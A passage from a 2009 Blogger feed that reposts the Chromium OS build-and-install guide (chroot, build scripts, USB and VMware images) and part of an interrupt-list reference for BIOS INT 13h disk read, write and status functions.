href="https://daili.bz/browse.php?u=Oi8vd3d3Lmdvb2dsZS5jb20vdXJsP3E9aHR0cHMlM0ElMkYlMkZsYXVuY2hwYWQubmV0JTJGdWJ1bnR1JTJGJTJCYXJjaGl2ZW1pcnJvcnMmc2E9RCZzbnR6PTEmdXNnPUFGcnFFemZQWXcwQ09RMFJqZlY5VXpBSTJpcndWaG9zZlE%3D&amp;amp;b=13" style="color: rgb(78, 125, 191)"&gt;official Ubuntu mirrors&lt;/a&gt;. You'll need to specify the same&amp;nbsp;&lt;font face="Courier New"&gt;--mirror&lt;/font&gt;&amp;nbsp;and&amp;nbsp;&lt;font face="Courier New"&gt;--suite&lt;/font&gt;&amp;nbsp;options to the&amp;nbsp;&lt;font face="Courier New"&gt;build_image.sh&lt;/font&gt;&amp;nbsp;script below.&lt;/p&gt;&lt;/div&gt;&lt;h2&gt;&lt;a name="TOC-Building-Chromium-OS" style="color: rgb(0, 102, 204)"&gt;&lt;/a&gt;Building Chromium OS&lt;/h2&gt;&lt;h3&gt;&lt;a name="TOC-Build-Chromium-optional-" style="color: rgb(0, 102, 204)"&gt;&lt;/a&gt;Build Chromium (optional)&lt;/h3&gt;&lt;p&gt;If you chose to download the source code for the browser, you'll need to build the browser before you complete the rest of the build process:&lt;/p&gt;&lt;div class="sites-codeblock sites-codesnippet-block" style="background-color: rgb(239, 239, 239)"&gt;&lt;font face="Courier New"&gt;./build_chrome.sh --chrome_dir ~/chromium&lt;/font&gt;&lt;/div&gt;&lt;p&gt;To build a debug version:&lt;/p&gt;&lt;div class="sites-codeblock sites-codesnippet-block" style="background-color: rgb(239, 239, 239)"&gt;&lt;font face="Courier New"&gt;./build_chrome.sh --mode=Debug --chrome_dir ~/chromium&lt;/font&gt;&lt;/div&gt;&lt;p&gt;This builds Chromium, zips up the output, and puts it in the right place for build_platform_packages to pick up.&amp;nbsp;&lt;br&gt;&lt;/p&gt;&lt;h3&gt;&lt;a name="TOC-Download-Chromium-binary-if-you-did" style="color: rgb(0, 102, 204)"&gt;&lt;/a&gt;Download Chromium binary (you MUST do this if you didn't use the step above)&lt;/h3&gt;&lt;a href="https://daili.bz/browse.php?u=Oi8vYnVpbGQuY2hyb21pdW0ub3JnL2J1aWxkYm90L2FyY2hpdmVzL2Nocm9taXVtLWNocm9taXVtb3MtcjMyNTE2L2Nocm9tZS1saW51eC56aXA%3D&amp;amp;b=13" style="color: rgb(0, 102, 204)"&gt;Download the binary&lt;/a&gt;&amp;nbsp;and copy it into ~/chromiumos/src/build/x86/local_assets as chrome-chromeos.zip (you have to create this directory).&amp;nbsp; This will give you a recent copy of the browser for use with Chromium OS.&lt;br&gt;&lt;h3&gt;&lt;a name="TOC-Enter-the-chroot-build-environment" style="color: rgb(0, 102, 204)"&gt;&lt;/a&gt;Enter the chroot build environment&lt;/h3&gt;&lt;/div&gt;&lt;div&gt;Run the following to get into the chroot environment:&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;div class="sites-codeblock sites-codesnippet-block" style="background-color: rgb(239, 239, 239)"&gt;&lt;font face="Courier New"&gt;./enter_chroot.sh&lt;br&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;h3&gt;&lt;a name="TOC-Making-development-easier" style="color: rgb(0, 102, 204)"&gt;&lt;/a&gt;Making development easier&lt;/h3&gt;&lt;div&gt;The following steps make development a little easier. These only need to be done once; consult the scripts for information on how to undo these steps if you change your mind later. These steps have to be done before you build the rest of your system to have them take effect.&lt;/div&gt;&lt;div&gt;&lt;h4&gt;&lt;a name="TOC-Enable-a-local-user-account" style="color: rgb(0, 102, 204)"&gt;&lt;/a&gt;Enable a local user account&lt;/h4&gt;&lt;div&gt;If you are customizing Chromium OS and having trouble logging in due to your customizations, it may be handy to be able to bypass authentication and log yourself in as a test user. This is disabled by default for security reasons, but if you want to enable it for a backdoor user&amp;nbsp;&lt;i&gt;USERNAME&lt;/i&gt;:&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div class="sites-codeblock sites-codesnippet-block" style="background-color: rgb(239, 239, 239)"&gt;&lt;font face="Courier New"&gt;( cd ../platform/pam_google &amp;amp;&amp;amp; ./enable_localaccount.sh&amp;nbsp;&lt;i&gt;USERNAME&amp;nbsp;&lt;/i&gt;)&lt;br&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;h4&gt;&lt;a name="TOC-Set-the-shared-user-password" style="color: rgb(0, 102, 204)"&gt;&lt;/a&gt;Set the shared user password&lt;/h4&gt;&lt;div&gt;For security, the shared user password defaults to a long random string. If you want to be able to sudo from the terminal in Chromium OS (this also includes actually installing the OS on your device),&amp;nbsp;&lt;a href="https://daili.bz/browse.php?u=Oi8vc2l0ZXMuZ29vZ2xlLmNvbS9hL2Nocm9taXVtLm9yZy9kZXYvY2hyb21pdW0tb3MvaG93LXRvcy1hbmQtdHJvdWJsZXNob290aW5nL2RldmVsb3Blci1mYXE%3D&amp;amp;b=13" style="color: rgb(0, 102, 204)"&gt;need help debugging networking&lt;/a&gt;, or you have some other reason for needing to log on directly as the shared user, you need to set up the password for the shared user:&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;div class="sites-codeblock sites-codesnippet-block" style="background-color: rgb(239, 239, 239)"&gt;&lt;font face="Courier New"&gt;./set_shared_user_password.sh&lt;/font&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;This will prompt you for a password. The encrypted password will be stored in&amp;nbsp;&lt;font face="Courier New"&gt;./shared_user_password.txt&lt;/font&gt;, so you only need to do this once.&lt;/div&gt;&lt;/div&gt;&lt;h3&gt;&lt;a name="TOC-Build-the-packages" style="color: rgb(0, 102, 204)"&gt;&lt;/a&gt;Build the packages&lt;/h3&gt;Do this inside the chroot build environment. We build the platform packages and then the kernel. You can substitute a different config or kernel build number if you know what you are doing.&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;div class="sites-codeblock sites-codesnippet-block" style="background-color: rgb(239, 239, 239)"&gt;&lt;font face="Courier New"&gt;./build_platform_packages.sh&lt;br&gt;./build_kernel.sh&lt;/font&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;font size="4"&gt;&lt;font size="3"&gt;&lt;b&gt;&lt;font size="3"&gt;&lt;span style="font-weight: normal"&gt;&lt;font size="2"&gt;&lt;br&gt;&lt;/font&gt;&lt;/span&gt;&lt;/font&gt;&lt;/b&gt;&lt;/font&gt;&lt;/font&gt;&lt;/div&gt;&lt;h3&gt;&lt;a name="TOC-Build-the-image" style="color: rgb(0, 102, 204)"&gt;&lt;/a&gt;Build the image&lt;/h3&gt;&lt;div&gt;Do this inside the chroot build environment.&lt;br&gt;&lt;br&gt;&lt;div class="sites-codeblock sites-codesnippet-block" style="background-color: rgb(239, 239, 239)"&gt;&lt;font face="Courier New"&gt;./build_image.sh&lt;/font&gt;&lt;/div&gt;&lt;font face="&amp;amp;apos;Courier New&amp;amp;apos;"&gt;&lt;font face="&amp;amp;apos;trebuchet ms&amp;amp;apos;"&gt;&lt;br&gt;&lt;/font&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;The default output location for images is&amp;nbsp;&lt;font face="Courier New"&gt;~/chromiumos/src/build/images&lt;/font&gt;.&lt;br&gt;&lt;br&gt;The output of build_image.sh will create a unique monotonically increasingly numbered subdir under the output location which contains the master boot record (mbr.image) and the root filesystem image (rootfs.image). &amp;nbsp;Check the output of build_image.sh to find the corresponding directory where your new image has been placed.&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;h2&gt;&lt;a name="TOC-Using-your-image" style="color: rgb(0, 102, 204)"&gt;&lt;/a&gt;Using your image&lt;/h2&gt;&lt;h3&gt;&lt;a name="TOC-Check-the-contents-of-the-image" style="color: rgb(0, 102, 204)"&gt;&lt;/a&gt;Check the contents of the image&lt;/h3&gt;To check the contents of your image, mount it locally. In this example, SUBDIR is the subdirectory created in the previous step.&lt;br&gt;&lt;br&gt;&lt;div class="sites-codeblock sites-codesnippet-block" style="background-color: rgb(239, 239, 239)"&gt;&lt;font face="Courier New"&gt;cd ~/chromiumos/src/build/images/SUBDIR&lt;br&gt;sudo mount -o loop rootfs.image rootfs&lt;br&gt;sudo chroot rootfs&lt;br&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;You're now in the image, and can do things like see how much space is used in the image or what packages were installed:&lt;br&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;div class="sites-codeblock sites-codesnippet-block" style="background-color: rgb(239, 239, 239)"&gt;&lt;font face="Courier New"&gt;df&lt;br&gt;dpkg -l&lt;br&gt;&lt;/font&gt;&lt;/div&gt;&lt;br&gt;When done, exit the chroot shell and unmount the image:&lt;br&gt;&lt;br&gt;&lt;div class="sites-codeblock sites-codesnippet-block" style="background-color: rgb(239, 239, 239)"&gt;&lt;font face="Courier New"&gt;exit&lt;/font&gt;&lt;br&gt;&lt;font face="Courier New"&gt;sudo umount rootfs&lt;/font&gt;&lt;/div&gt;&lt;h3&gt;&lt;a name="TOC-Copy-the-image-to-a-USB-key" style="color: rgb(0, 102, 204)"&gt;&lt;/a&gt;Copy the image to a USB key&lt;/h3&gt;&lt;div&gt;Use&amp;nbsp;&lt;font face="Courier New"&gt;image_to_usb.sh&lt;/font&gt;&amp;nbsp;to copy the image to a USB key. Do this&amp;nbsp;&lt;b&gt;outside&lt;/b&gt;&amp;nbsp;the chroot environment. (If your USB key seems blank, you're probably inside the chroot environment.) Make sure you have a 4GB USB key.&lt;/div&gt;&lt;br&gt;&lt;div class="sites-codeblock sites-codesnippet-block" style="background-color: rgb(239, 239, 239)"&gt;&lt;span style="font-family: monospace, Verdana, sans-serif; color: rgb(0, 96, 0)"&gt;./image_to_usb.sh --from=~/chromiumos/src/build/images/&lt;i&gt;SUBDIR&amp;nbsp;&lt;/i&gt;--to=/dev/&lt;i&gt;USBKEYDEV&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;i&gt;SUBDIR&amp;nbsp;&lt;/i&gt;is the subdirectory created by&amp;nbsp;&lt;font face="Courier New"&gt;build_image.sh&lt;/font&gt;, and&amp;nbsp;&lt;i&gt;USBKEYDEV&amp;nbsp;&lt;/i&gt;is the device for the USB key.&lt;br&gt;&lt;br&gt;To determine the value for&amp;nbsp;&lt;i&gt;USBKEYDEV&lt;/i&gt;, use:&lt;br&gt;&lt;br&gt;&lt;div class="sites-codeblock sites-codesnippet-block" style="background-color: rgb(239, 239, 239)"&gt;&lt;font face="Courier New"&gt;sudo fdisk -l&lt;/font&gt;&lt;/div&gt;&lt;br&gt;or&lt;br&gt;&lt;br&gt;&lt;div class="sites-codeblock sites-codesnippet-block" style="background-color: rgb(239, 239, 239)"&gt;&lt;font face="Courier New"&gt;dmesg&lt;/font&gt;&lt;/div&gt;&lt;br&gt;What you want is the device for the entire key (for example,&amp;nbsp;&lt;font face="Courier New"&gt;/dev/sdb&lt;/font&gt;, not&amp;nbsp;&lt;font face="Courier New"&gt;/dev/sdb1&lt;/font&gt;).&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;By default,&amp;nbsp;&lt;font face="Courier New"&gt;image_to_usb.sh&lt;/font&gt;&amp;nbsp;copies from the most recent image you've built to&amp;nbsp;&lt;font face="Courier New"&gt;/dev/sdb&lt;/font&gt;, so you may be able to omit the&amp;nbsp;&lt;font face="Courier New"&gt;--from&lt;/font&gt;&amp;nbsp;and/or&amp;nbsp;&lt;font face="Courier New"&gt;--to&lt;/font&gt;&amp;nbsp;options.&lt;br&gt;&lt;h3&gt;&lt;a name="TOC-Copy-image-to-hard-drive-see-develo" style="color: rgb(0, 102, 204)"&gt;&lt;/a&gt;Copy image to hard drive (see&amp;nbsp;&lt;span style="font-weight: normal"&gt;&lt;font size="2"&gt;&lt;b&gt;&lt;span style="font-weight: normal"&gt;&lt;i&gt;&lt;a href="https://daili.bz/browse.php?u=Oi8vc2l0ZXMuZ29vZ2xlLmNvbS9hL2Nocm9taXVtLm9yZy9kZXYvY2hyb21pdW0tb3MvZ2V0dGluZy1kZXYtaGFyZHdhcmU%3D&amp;amp;b=13" style="color: rgb(0, 102, 204)"&gt;&lt;span style="font-style: normal"&gt;development hardware&lt;/span&gt;&lt;/a&gt;&lt;/i&gt;&lt;/span&gt;&lt;/b&gt;&lt;/font&gt;&lt;/span&gt;)&lt;/h3&gt;&lt;div&gt;&lt;b&gt;&lt;font color="#ff0000"&gt;WARNING&lt;/font&gt;&lt;/b&gt;&lt;font color="#ff0000"&gt;: this nukes your hard drive&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;Boot from the USB image you just burned. (If this is the first time you've booted from USB, you may need to go into the BIOS settings and change the boot order so that it'll boot from the USB drive)&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;After logging in, use Ctrl+Alt+T to open a terminal window and type:&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div class="sites-codeblock sites-codesnippet-block" style="background-color: rgb(239, 239, 239)"&gt;&lt;font face="Courier New"&gt;&lt;font color="#274e13"&gt;/usr/sbin/chromeos-install&lt;/font&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;Note: this will ask you for the password you set in the recommended step earlier. Unplug the USB drive, reboot and you're there.&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;h3&gt;&lt;a name="TOC-Convert-the-image-for-VMWare" style="color: rgb(0, 102, 204)"&gt;&lt;/a&gt;Convert the image for VMWare&lt;/h3&gt;&lt;div&gt;&lt;b&gt;&lt;span style="font-weight: normal"&gt;&lt;i&gt;Note: &amp;nbsp;The VMWare image may have missing functionality (e.g. no virtual terminal, slow keyboard response, etc). &amp;nbsp;We suggest that developers obtain&amp;nbsp;&lt;a href="https://daili.bz/browse.php?u=Oi8vc2l0ZXMuZ29vZ2xlLmNvbS9hL2Nocm9taXVtLm9yZy9kZXYvY2hyb21pdW0tb3MvZ2V0dGluZy1kZXYtaGFyZHdhcmU%3D&amp;amp;b=13" style="color: rgb(0, 102, 204)"&gt;development hardware&lt;/a&gt;&lt;/i&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span style="font-weight: normal"&gt;&lt;br&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span style="font-weight: normal"&gt;If you want to boot from the image in a vmware session you'll need to first convert it to a vmware disk. First install&amp;nbsp;&lt;i&gt;qemu&lt;/i&gt;. Then execute these commands:&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;font face="&amp;amp;apos;courier new&amp;amp;apos;"&gt;&lt;br&gt;&lt;/font&gt;&lt;/div&gt;&lt;div class="sites-codeblock sites-codesnippet-block" style="background-color: rgb(239, 239, 239)"&gt;&lt;span style="font-family: monospace, Verdana, sans-serif; color: rgb(0, 96, 0)"&gt;&lt;font face="&amp;amp;apos;courier new&amp;amp;apos;, monospace"&gt;./image_to_vmware.sh --from=~/chromiumos/src/build/images/SUBDIR \&lt;br&gt;&amp;nbsp;&amp;nbsp;--to=~/chromiumos/src/build/images/SUBDIR/ide.vmdk&lt;br&gt;&lt;/font&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;By default,&amp;nbsp;&lt;font face="Courier New"&gt;image_to_vmware.sh&lt;/font&gt;&amp;nbsp;will convert the most recent image you've built to&amp;nbsp;&lt;font color="#006000" face="monospace"&gt;ide.vmdk&lt;/font&gt;, so you may be able to omit the&amp;nbsp;&lt;font face="Courier New"&gt;--from&lt;/font&gt;&amp;nbsp;and/or&amp;nbsp;&lt;font face="Courier New"&gt;--to&lt;/font&gt;&amp;nbsp;options.&lt;/div&gt;&lt;h3&gt;&lt;a name="TOC-Delete-an-old-chroot-build-environm" style="color: rgb(0, 102, 204)"&gt;&lt;/a&gt;Delete an old chroot build environment&lt;/h3&gt;To delete an old chroot build environment, use:&lt;br&gt;&lt;br&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="sites-codeblock sites-codesnippet-block" style="background-color: rgb(239, 239, 239)"&gt;&lt;font face="Courier New"&gt;./make_chroot.sh --delete&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;Do NOT use&amp;nbsp;&lt;font face="Courier New"&gt;rm -rf&lt;/font&gt;, since if there are stale bind mounts, you may end up deleting your source tree.&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;/font&gt;&lt;/b&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;br&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7460769715768107728-1890394541249793923?l=zch051383471952.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zch051383471952.blogspot.com/feeds/1890394541249793923/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7460769715768107728&amp;postID=1890394541249793923' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7460769715768107728/posts/default/1890394541249793923'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7460769715768107728/posts/default/1890394541249793923'/><link rel='alternate' type='text/html' href='http://zch051383471952.blogspot.com/2009/11/using-chrome-os.html' title='Using  Chrome OS'/><author><name>zch-alex</name><uri>http://www.blogger.com/profile/01183124204454312366</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_77voQuQ5PmQ/SUyRHpH9ATI/AAAAAAAAAm8/7fFsVxg55lI/S220/2008-10-1+14-50-59.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7460769715768107728.post-2127726664669452175</id><published>2009-09-06T02:19:00.003-07:00</published><updated>2009-09-06T02:19:19.671-07:00</updated><title type='text'>INT 13</title><content type='html'>&amp;nbsp;&lt;BR&gt;&lt;br /&gt;&lt;P&gt;--------B-1300-------------------------------&lt;BR&gt;INT 13 - DISK - RESET DISK SYSTEM&lt;BR&gt;&amp;nbsp;AH = 00h&lt;BR&gt;&amp;nbsp;DL = drive (if bit 7 is set both hard disks and floppy disks reset)&lt;BR&gt;Return: AH = status (see #00234)&lt;BR&gt;&amp;nbsp;CF clear if successful (returned AH=00h)&lt;BR&gt;&amp;nbsp;CF set on error&lt;BR&gt;Note: forces controller to recalibrate drive heads (seek to track 0)&lt;BR&gt;&amp;nbsp;for PS/2 35SX, 35LS, 40SX and L40SX, as well as many other systems,&lt;BR&gt;&amp;nbsp;&amp;nbsp; both the master drive and the slave drive respond to the Reset&lt;BR&gt;&amp;nbsp;&amp;nbsp; function that is issued to either drive&lt;BR&gt;SeeAlso: AH=0Dh,AH=11h,INT 21/AH=0Dh,INT 4D/AH=00h"TI Professional"&lt;BR&gt;SeeAlso: INT 56"Tandy 2000",MEM 0040h:003Eh&lt;BR&gt;--------B-1301-------------------------------&lt;BR&gt;INT 13 - DISK - GET STATUS OF LAST OPERATION&lt;BR&gt;&amp;nbsp;AH = 01h&lt;BR&gt;&amp;nbsp;DL = drive (bit 7 set for hard disk)&lt;BR&gt;Return: CF clear if successful (returned status 00h)&lt;BR&gt;&amp;nbsp;CF set on error&lt;BR&gt;&amp;nbsp;AH = status of previous operation (see #00234)&lt;BR&gt;Note: some BIOSes return the status in AL; the PS/2 Model 30/286 returns the&lt;BR&gt;&amp;nbsp;&amp;nbsp; status in both AH and AL&lt;BR&gt;SeeAlso: AH=00h,INT 4D/AH=01h,MEM 0040h:0041h,MEM 0040h:0074h&lt;/P&gt;&lt;br /&gt;&lt;P&gt;(Table 00234)&lt;BR&gt;Values for disk operation status:&lt;BR&gt; 00h successful completion&lt;BR&gt; 01h invalid function in AH or invalid parameter&lt;BR&gt; 02h address mark not found&lt;BR&gt; 03h disk write-protected&lt;BR&gt; 04h sector not found/read error&lt;BR&gt; 05h reset failed (hard disk)&lt;BR&gt; 05h data did not verify correctly (TI Professional PC)&lt;BR&gt; 06h disk changed (floppy)&lt;BR&gt; 07h drive parameter activity failed (hard disk)&lt;BR&gt; 08h DMA overrun&lt;BR&gt; 09h data boundary error (attempted DMA across 64K boundary or &amp;gt;80h sectors)&lt;BR&gt; 0Ah bad sector detected (hard disk)&lt;BR&gt; 0Bh bad track detected (hard disk)&lt;BR&gt; 0Ch unsupported track or invalid media&lt;BR&gt; 0Dh invalid number of sectors on format (PS/2 hard disk)&lt;BR&gt; 0Eh control data address mark detected (hard disk)&lt;BR&gt; 0Fh DMA arbitration level out of range (hard disk)&lt;BR&gt; 10h uncorrectable CRC or ECC error on read&lt;BR&gt; 11h data ECC corrected (hard disk)&lt;BR&gt; 20h controller failure&lt;BR&gt; 31h no media in drive (IBM/MS INT 13 extensions)&lt;BR&gt; 32h incorrect drive type stored in CMOS (Compaq)&lt;BR&gt; 40h seek failed&lt;BR&gt; 80h timeout (not ready)&lt;BR&gt; AAh drive not ready (hard disk)&lt;BR&gt; B0h volume not locked in drive (INT 13 extensions)&lt;BR&gt; B1h volume locked in drive (INT 13 extensions)&lt;BR&gt; B2h volume not removable (INT 13 extensions)&lt;BR&gt; B3h volume in use (INT 13 extensions)&lt;BR&gt; B4h lock count exceeded (INT 13 extensions)&lt;BR&gt; B5h valid eject request failed (INT 13 extensions)&lt;BR&gt; B6h volume present but read protected (INT 13 extensions)&lt;BR&gt; BBh undefined error (hard disk)&lt;BR&gt; CCh write fault (hard disk)&lt;BR&gt; E0h status register error (hard disk)&lt;BR&gt; FFh sense operation failed (hard disk)&lt;BR&gt;SeeAlso: #M0022&lt;BR&gt;--------B-1302-------------------------------&lt;BR&gt;INT 13 - DISK - READ SECTOR(S) INTO MEMORY&lt;BR&gt;&amp;nbsp;AH = 02h&lt;BR&gt;&amp;nbsp;AL = number of sectors to read (must be nonzero)&lt;BR&gt;&amp;nbsp;CH = low eight bits of cylinder number&lt;BR&gt;&amp;nbsp;CL = sector number 1-63 (bits 0-5)&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; high two bits of cylinder (bits 6-7, hard disk only)&lt;BR&gt;&amp;nbsp;DH = head number&lt;BR&gt;&amp;nbsp;DL = drive number (bit 7 set for hard disk)&lt;BR&gt;&amp;nbsp;ES:BX -&amp;gt; data buffer&lt;BR&gt;Return: CF set on error&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if AH = 11h (corrected ECC error), AL = burst length&lt;BR&gt;&amp;nbsp;CF clear if successful&lt;BR&gt;&amp;nbsp;AH = status (see #00234)&lt;BR&gt;&amp;nbsp;AL = number of sectors transferred (only valid if CF set for some&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; BIOSes)&lt;BR&gt;Notes: errors on a floppy may be due to the motor failing to spin up quickly&lt;BR&gt;&amp;nbsp;&amp;nbsp; enough; the read should be retried at least three times, resetting&lt;BR&gt;&amp;nbsp;&amp;nbsp; the disk with AH=00h between attempts&lt;BR&gt;&amp;nbsp;most BIOSes support "multitrack" reads, where the value in AL&lt;BR&gt;&amp;nbsp;&amp;nbsp; exceeds the number of sectors remaining on the track, in which&lt;BR&gt;&amp;nbsp;&amp;nbsp; case any additional sectors are read beginning at sector 1 on&lt;BR&gt;&amp;nbsp;&amp;nbsp; the following head in the same cylinder; the MSDOS CONFIG.SYS command&lt;BR&gt;&amp;nbsp;&amp;nbsp; MULTITRACK (or the Novell DOS DEBLOCK=) can be used to force DOS to&lt;BR&gt;&amp;nbsp;&amp;nbsp; split disk accesses which would wrap across a track boundary into two&lt;BR&gt;&amp;nbsp;&amp;nbsp; separate calls&lt;BR&gt;&amp;nbsp;the IBM AT BIOS and many other BIOSes use only the low four bits of&lt;BR&gt;&amp;nbsp;&amp;nbsp; DH (head number) since the WD-1003 controller which is the standard&lt;BR&gt;&amp;nbsp;&amp;nbsp; AT controller (and the controller that IDE emulates) only supports&lt;BR&gt;&amp;nbsp;&amp;nbsp; 16 heads&lt;BR&gt;&amp;nbsp;AWARD AT BIOS and AMI 386sx BIOS have been extended to handle more&lt;BR&gt;&amp;nbsp;&amp;nbsp; than 1024 cylinders by placing bits 10 and 11 of the cylinder number&lt;BR&gt;&amp;nbsp;&amp;nbsp; into bits 6 and 7 of DH&lt;BR&gt;&amp;nbsp;under Windows95, a volume must be locked (see INT 21/AX=440Dh/CX=084Bh)&lt;BR&gt;&amp;nbsp;&amp;nbsp; in order to perform direct accesses such as INT 13h reads and writes&lt;BR&gt;&amp;nbsp;all versions of MS-DOS (including MS-DOS 7 [Windows 95]) have a bug&lt;BR&gt;&amp;nbsp;&amp;nbsp; which prevents booting on hard disks with 256 heads (FFh), so many&lt;BR&gt;&amp;nbsp;&amp;nbsp; modern BIOSes provide mappings with at most 255 (FEh) heads&lt;BR&gt;&amp;nbsp;some cache drivers flush their buffers when detecting that DOS is&lt;BR&gt;&amp;nbsp;&amp;nbsp; bypassed by directly issuing INT 13h from applications.&amp;nbsp; A dummy&lt;BR&gt;&amp;nbsp;&amp;nbsp; read can be used as one of several methods to force cache&lt;BR&gt;&amp;nbsp;&amp;nbsp; flushing for unknown caches (e.g. before rebooting).&lt;BR&gt;BUGS: When reading from floppies, some AMI BIOSes (around 1990-1991) trash&lt;BR&gt;&amp;nbsp;&amp;nbsp; the byte following the data buffer, if it is not arranged to an even&lt;BR&gt;&amp;nbsp;&amp;nbsp; memory boundary.&amp;nbsp; A workaround is to either make the buffer word&lt;BR&gt;&amp;nbsp;&amp;nbsp; aligned (which may also help to speed up things), or to add a dummy&lt;BR&gt;&amp;nbsp;&amp;nbsp; byte after the buffer.&lt;BR&gt;&amp;nbsp;MS-DOS may leave interrupts disabled on return from this function.&lt;BR&gt;&amp;nbsp;Apparently some BIOSes or intercepting resident software have bugs&lt;BR&gt;&amp;nbsp;&amp;nbsp; that may destroy DX on return or not properly set the Carry flag.&lt;BR&gt;&amp;nbsp;&amp;nbsp; At least some Microsoft software frames calls to this function with&lt;BR&gt;&amp;nbsp;&amp;nbsp; PUSH DX, STC, INT 13h, STI, POP DX.&lt;BR&gt;&amp;nbsp;on the original IBM AT BIOS (1984/01/10) this function does not disable&lt;BR&gt;&amp;nbsp;&amp;nbsp; interrupts for harddisks (DL &amp;gt;= 80h).&amp;nbsp; On these machines the MS-DOS/&lt;BR&gt;&amp;nbsp;&amp;nbsp; PC DOS IO.SYS/IBMBIO.COM installs a special filter to bypass the&lt;BR&gt;&amp;nbsp;&amp;nbsp; buggy code in the ROM (see CALL F000h:211Eh)&lt;BR&gt;SeeAlso: AH=03h,AH=0Ah,AH=06h"V10DISK.SYS",AH=21h"PS/1",AH=42h"IBM"&lt;BR&gt;SeeAlso: INT 21/AX=440Dh/CX=084Bh,INT 4D/AH=02h&lt;BR&gt;--------B-1303-------------------------------&lt;BR&gt;INT 13 - DISK - WRITE DISK SECTOR(S)&lt;BR&gt;&amp;nbsp;AH = 03h&lt;BR&gt;&amp;nbsp;AL = number of sectors to write (must be nonzero)&lt;BR&gt;&amp;nbsp;CH = low eight bits of cylinder number&lt;BR&gt;&amp;nbsp;CL = sector number 1-63 (bits 0-5)&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; high two bits of cylinder (bits 6-7, hard disk only)&lt;BR&gt;&amp;nbsp;DH = head number&lt;BR&gt;&amp;nbsp;DL = drive number (bit 7 set for hard disk)&lt;BR&gt;&amp;nbsp;ES:BX -&amp;gt; data buffer&lt;BR&gt;Return: CF set on error&lt;BR&gt;&amp;nbsp;CF clear if successful&lt;BR&gt;&amp;nbsp;AH = status (see #00234)&lt;BR&gt;&amp;nbsp;AL = number of sectors transferred&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; (only valid if CF set for some BIOSes)&lt;BR&gt;Notes: errors on a floppy may be due to the motor failing to spin up quickly&lt;BR&gt;&amp;nbsp;&amp;nbsp; enough; the write should be retried at least three times, resetting&lt;BR&gt;&amp;nbsp;&amp;nbsp; the disk with AH=00h between attempts&lt;BR&gt;&amp;nbsp;most BIOSes support "multitrack" writes, where the value in AL&lt;BR&gt;&amp;nbsp;&amp;nbsp; exceeds the number of sectors remaining on the track, in which&lt;BR&gt;&amp;nbsp;&amp;nbsp; case any additional sectors are written beginning at sector 1 on&lt;BR&gt;&amp;nbsp;&amp;nbsp; the following head in the same cylinder; the CONFIG.SYS command&lt;BR&gt;&amp;nbsp;&amp;nbsp; MULTITRACK can be used to force DOS to split disk accesses which&lt;BR&gt;&amp;nbsp;&amp;nbsp; would wrap across a track boundary into two separate calls&lt;BR&gt;&amp;nbsp;the IBM AT BIOS and many other BIOSes use only the low four bits 